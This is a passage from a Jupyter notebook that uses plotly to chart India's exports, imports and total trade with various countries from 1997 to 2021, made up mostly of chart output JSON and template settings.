Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 87.96, - 42.42, - 31.89, - 75.15, - 69.97, - 67.15, - 62.54, - 146.82, - 310.49, - 471.72, - 321.24, - 258.85, - 444.43, - 312.63, - 392.87, - 336.04, - 253.04, - 332.87, - 273.91, - 422.04, - 270.37, - 266.13, - 314.35, - 184.83, - 488.78 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "PANAMA REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 87.96, - 42.42, - 31.89, - 75.15, - 69.97, - 67.15, - 62.54, - 146.82, - 310.49, - 471.72, - 321.24, - 258.85, - 444.43, - 312.63, - 392.87, - 336.04, - 253.04, - 332.87, - 273.91, - 422.04, - 270.37, - 266.13, - 314.35, - 184.83, - 488.78 - ] - }, - { - "mode": "lines", - "name": "PAPUA N GNA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.25, - 5.47, - 6.83, - 4.82, - 10.32, - 5.48, - 5.64, - 109.48, - 73.34, - 288.04, - 210.14, - 249.75, - 118.14, - 238.89, - 235.28, - 134.42, - 222.26, - 209.49, - 219.05, - 144.34, - 238.11, - 138.68, - 111.71, - 182.02, - 316.95 - ] - }, - { - "mode": "lines", - "name": "PARAGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.18, - 6.39, - 7.03, - 8.81, - 25.22, - 7.47, - 11.31, - 14.78, - 20.59, - 30.12, - 46.75, - 39.58, - 42.27, - 46.84, - 78.03, - 91.61, - 94.19, - 194.59, - 210.39, - 280.31, - 335.33, - 181.68, - 152.24, - 176.43, - 177.8 - ] - }, - { - "mode": "lines", - "name": "PERU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 35.71, - 32.83, - 82.38, - 35.45, - 63.02, - 74.46, - 67.92, - 105.17, - 107.32, - 253.05, - 446.88, - 578.25, - 410.95, - 604.96, - 1112.56, - 1199.25, - 1144.75, - 1410.25, - 1523.35, - 1773.12, - 3137.54, - 3126.42, - 2339.09, - 2285.57, - 2788.13 - ] - }, - { - "mode": "lines", - "name": "PHILIPPINES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 261.78, - 155.99, - 199.78, - 265.65, - 342.63, - 595.77, - 443.64, - 599.62, - 730.16, - 747.77, - 824.87, - 998.54, - 1061.84, - 1310.49, - 1434.29, - 1691.18, - 1810.59, - 1818.62, - 1895.5, - 1977.13, - 2457.2, - 2324.74, - 2049.87, - 2029.77, - 2132.04 - ] - }, - { - "mode": "lines", - "name": "POLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 120.13, - 126.87, - 130.15, - 128.86, - 139.7, - 144.49, - 183.26, - 266.66, - 334.77, - 423.8, - 636.92, - 784.56, - 808.42, - 1052.25, - 1411.24, - 1674.1, - 1618.07, - 1686.39, - 1594.96, - 1888.78, - 2308.35, - 2366.19, - 2397.68, - 2359.03, - 2750.14 - ] - }, - { - "mode": "lines", - "name": "MONGOLIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.19, - 1.89, - 2.55, - 1.5, - 0.68, - 1.23, - 1.55, - 1.55, - 2.79, - 4.58, - 16.94, - 33.95, - 9.24, - 22.74, - 50.14, - 33.85, - 24.27, - 12.22, - 12.57, - 11.77, - 22.21, - 23.82, - 17.56, - 19.4, - 20.19 - ] - }, - { - "mode": "lines", - "name": "MEXICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 190.57, - 222.23, - 237.38, - 262.34, - 299.68, - 327.07, - 338.32, - 451.2, - 540.68, - 1331.27, - 1781.48, - 2384.61, - 1645.16, - 2076.22, - 3947.1, - 5665.86, - 5899.87, - 6254.7, - 5148.32, - 6405.5, - 7713.05, - 9418.59, - 7920.51, - 5932.58, - 6550.78 - ] - }, - { - "mode": "lines", - "name": "KAZAKHSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 51.16, - 50.43, - 40.65, - 64.12, - 53.09, - 59.6, - 84.07, - 96.81, - 117.16, - 171.48, - 188.77, - 290.7, - 291.44, - 310.59, - 436.25, - 426.22, - 917.84, - 952.35, - 504.84, - 642.16, - 1032.81, - 851.91, - 2458.29, - 1030.92, - 429.01 - ] - }, - { - "mode": "lines", - "name": "LIECHTENSTEIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.05, - 0.07, - 0.04, - 0.36, - 0.62, - 0.49, - 0.99, - 1.13, - 1.08, - 3.85, - 4.99, - 0.1, - 0.39, - 0.78, - 1.13, - 0.78, - 1.36, - 2, - 1.59, - 4.39, - 6.99, - 4.77, - 4.09, - 2.12 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[20]]['Year(start)'], y=df[df['Country']==country.index[20]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(20,30):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[20]]['Year(start)'], y=df[df['Country']==country.index[20]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(20,30):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[20]]['Year(start)'], y=df[df['Country']==country.index[20]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(20,30):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "id": "c1e899bd-2680-424c-a045-76a3dc0a8bc8", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.15, - 0.12, - 0.02, - 0.12, - 0.16, - 0.44, - 0.05, - 0.4, - 0.09, - 3.4, - 0.18, - 2.02, - 0.33, - 0.13, - 1.21, - 0.37, - 0.94, - 1, - 0.94, - 0.47, - 0.55, - 0.37, - 0.39, - 0.71, - 1.46 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "KIRIBATI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.15, - 0.12, - 0.02, - 0.12, - 0.16, - 0.44, - 0.05, - 0.4, - 0.09, - 3.4, - 0.18, - 2.02, - 0.33, - 0.13, - 1.21, - 0.37, - 0.94, - 1, - 0.94, - 0.47, - 0.55, - 0.37, - 0.39, - 0.71, - 1.46 - ] - }, - { - "mode": "lines", - "name": "KOREA DP RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.63, - 18.96, - 67.19, - 170.61, - 160.07, - 183.13, - 158.75, - 123.91, - 54.53, - 105.41, - 850.96, - 937.18, - 422.38, - 329.13, - 229.18, - 202.78, - 186.8, - 76.52, - 110.88, - 44.84, - 57.55, - 26.99, - 8.97, - 2.79, - 0.24 - ] - }, - { - "mode": "lines", - "name": "KOREA RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 467.55, - 307.9, - 476.56, - 450.78, - 471.37, - 644.85, - 764.86, - 1041.68, - 1827.21, - 2518.4, - 2860.84, - 3952.29, - 3421.05, - 3727.29, - 4352.35, - 4202.25, - 4208.69, - 4602.95, - 3523.43, - 4241.42, - 4460.98, - 4705.07, - 4845.15, - 4684.62, - 5671.82 - ] - }, - { - "mode": "lines", - "name": "KUWAIT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 178.37, - 164.67, - 154.3, - 199.11, - 206.25, - 250.56, - 319.09, - 421.44, - 513.73, - 614.81, - 681.54, - 797.5, - 782.45, - 1856.01, - 1181.41, - 1061.08, - 1061.14, - 1198.89, - 1247.51, - 1497.99, - 1365.66, - 1333.92, - 1286.56, - 1054.2, - 888.41 - ] - }, - { - "mode": "lines", - "name": "KYRGHYZSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.79, - 8.7, - 13.8, - 17.59, - 10.97, - 14.67, - 38.2, - 49.57, - 28.09, - 37.08, - 31.52, - 22.92, - 26.84, - 25.79, - 30.55, - 34.99, - 34.54, - 37.76, - 25.11, - 30.44, - 28.59, - 30.02, - 29.13, - 38.71, - 21.1 - ] - }, - { - "mode": "lines", - "name": "LAO PD RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.31, - 1.24, - 1.39, - 6.24, - 3.16, - 1.58, - 0.43, - 2.65, - 5.47, - 2.39, - 3.86, - 9, - 16.93, - 13.11, - 14.97, - 28.91, - 49.89, - 67.31, - 37.94, - 25.72, - 25, - 39.38, - 25.08, - 27.34, - 11.4 - ] - }, - { - "mode": "lines", - "name": "LATVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.73, - 9.52, - 12.97, - 13.68, - 6.17, - 8.84, - 16.33, - 17.42, - 28.39, - 39.81, - 59.5, - 44.93, - 47.17, - 103.19, - 96.18, - 104.08, - 102.08, - 98.12, - 79.5, - 115.6, - 112.22, - 115.52, - 119.25, - 103.48, - 101.85 - ] - }, - { - "mode": "lines", - "name": "LEBANON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 26.55, - 26.62, - 33.43, - 47.22, - 39.28, - 50.89, - 59.05, - 67.46, - 71.84, - 67.13, - 96.73, - 132.75, - 131.33, - 176.1, - 231.87, - 250.55, - 293.52, - 279.66, - 239.55, - 210.65, - 257.1, - 268.67, - 203.97, - 190.38, - 222.04 - ] - }, - { - "mode": "lines", - "name": "LESOTHO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.11, - 0.21, - 0.08, - 0.25, - 3.78, - 5.57, - 13.41, - 12.77, - 5.49, - 8.56, - 34.49, - 14.44, - 18.64, - 21.2, - 18.25, - 31.01, - 38.22, - 30.06, - 33.18, - 31.59, - 30.46, - 40.78, - 39.89, - 9.3 - ] - }, - { - "mode": "lines", - "name": "LIBERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.24, - 3.26, - 12.26, - 11.32, - 17.46, - 4.45, - 16.13, - 18.3, - 21.15, - 24.01, - 22.92, - 29.33, - 29.58, - 43.96, - 78.78, - 127.02, - 253.68, - 206.53, - 133.88, - 146.3, - 257.46, - 178.81, - 219.52, - 225.65, - 193.47 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - 